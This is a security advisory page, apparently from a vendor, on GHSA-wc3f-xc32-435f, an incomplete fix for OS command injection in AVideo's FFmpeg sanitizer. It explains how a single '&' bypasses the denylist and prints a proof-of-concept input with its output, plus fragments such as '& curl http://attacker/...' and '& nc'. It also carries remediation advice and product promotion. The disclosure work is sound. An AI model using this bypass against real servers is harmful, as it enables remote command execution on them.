GHSA-wc3f-xc32-435f is a high-severity (CVSS 8.1) OS Command Injection vulnerability in wwbn/avideo. O3 Security confirms whether GHSA-wc3f-xc32-435f is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
AVideo has an incomplete fix of CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator), giving OS command execution at the same execAsync sh -c sink
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-wc3f-xc32-435f.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-wc3f-xc32-435f plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 366,357 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
wwbn/avideoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The fix for CVE-2026-33482 (GHSA-pmj8-r2j7-xg6c) is incomplete. That advisory reported that sanitizeFFmpegCommand() (plugin/API/standAlone/functions.php) failed to strip $(...) command substitution, allowing OS command injection at the execAsync() sh -c sink. The fix (commit 25c8ab90) added $, (, ), {, }, \n, \r to the denylist character class and a str_replace('&&', '', ...). It still does not neutralize a single & (the shell background operator), which remains a command separator at the unchanged sink. Same entry point, same sink, same impact as the original — only the surviving metacharacter differs.
Verified at master HEAD.
The surviving gap
HEAD sanitizeFFmpegCommand (functions.php):
$command = str_replace('&&', '', $command); // only the doubled form
$command = preg_replace('/\s*&?>.*(?:2>&1)?/', '', $command); // strips '&' only when followed by '>'
$command = preg_replace('/[;|`<>$()\n\r{}]/', '', $command); // char class has no '&'
// then requires the result to start with 'ffmpeg'
A single & is therefore preserved. ffmpeg ... & <cmd> passes the sanitizer and the strpos(trim($command),'ffmpeg')===0 prefix gate.
Sink (unchanged)
plugin/API/standAlone/ffmpeg.json.php:418 -> execAsync($ffmpegCommand, $keyword). In objects/functionsExec.php::execAsync:
$command = addcslashes($command, '"'); // line 686 — escapes only the double-quote
$commandWithKeyword = "nohup sh -c \"$command & echo \\$! > /tmp/$keyword.pid\" > /dev/null 2>&1 &"; // line 705
exec($commandWithKeyword, ...); // line 712 — PHP exec() runs via /bin/sh -c
The sanitized command is embedded inside an inner sh -c "...". A bare & in $command separates commands for that inner shell, so the injected command executes. addcslashes escaping only " does not stop &.
Reachability
ffmpeg.json.php builds the command from _decryptString(getInput('codeToExecEncrypted')). This is the same threat model the original advisory accepted (“an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server”) and the same CVSS basis (AV:N/AC:H/PR:N).
Proof (poc/poc_ampersand_bypass.php, poc/OUTPUT.txt)
Byte-faithful PHP harness: sanitizeFFmpegCommand copied verbatim from HEAD + the execAsync sh -c wrapping copied from functionsExec.php:
attacker input : ffmpeg -i input.mp4 & touch /tmp/avideo_amp_rce_proof & echo done out.mp4
after sanitize : ffmpeg -i input.mp4 & touch /tmp/avideo_amp_rce_proof & echo done out.mp4
ampersand survived : YES passes prefix : YES
final sh -c string:
nohup sh -c "ffmpeg -i input.mp4 & touch /tmp/avideo_amp_rce_proof & echo $! > /tmp/testkw.pid" > /dev/null 2>&1 &
>> injected touch executed: YES (/tmp/avideo_amp_rce_proof)
The sanitizer leaves & intact and the injected touch runs at the sink.
Impact
Arbitrary OS command execution on the standalone encoder server, identical to CVE-2026-33482. Multiple &-separated commands can be chained (e.g. download + execute). Redirect-based payloads are blocked by the > strip, but command execution (e.g. & curl http://attacker/..., & nc ..., dropping/running a file) is not.
Remediation
Stop applying a metacharacter denylist to a sh -c sink. Build the ffmpeg invocation as an argv array with escapeshellarg() per token (the project already uses escapeshellarg() at 137 sites) instead of interpolating $command into sh -c "...". If the denylist is kept as defense-in-depth, add & to the stripped set — but the denylist approach has now missed two metacharacters in a row ($() then &).
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | wwbn/avideo | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Remediation status
No patched version of wwbn/avideo has shipped for GHSA-wc3f-xc32-435f yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-wc3f-xc32-435f is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-wc3f-xc32-435f. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-wc3f-xc32-435f in your dependencies?
O3 detects GHSA-wc3f-xc32-435f across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.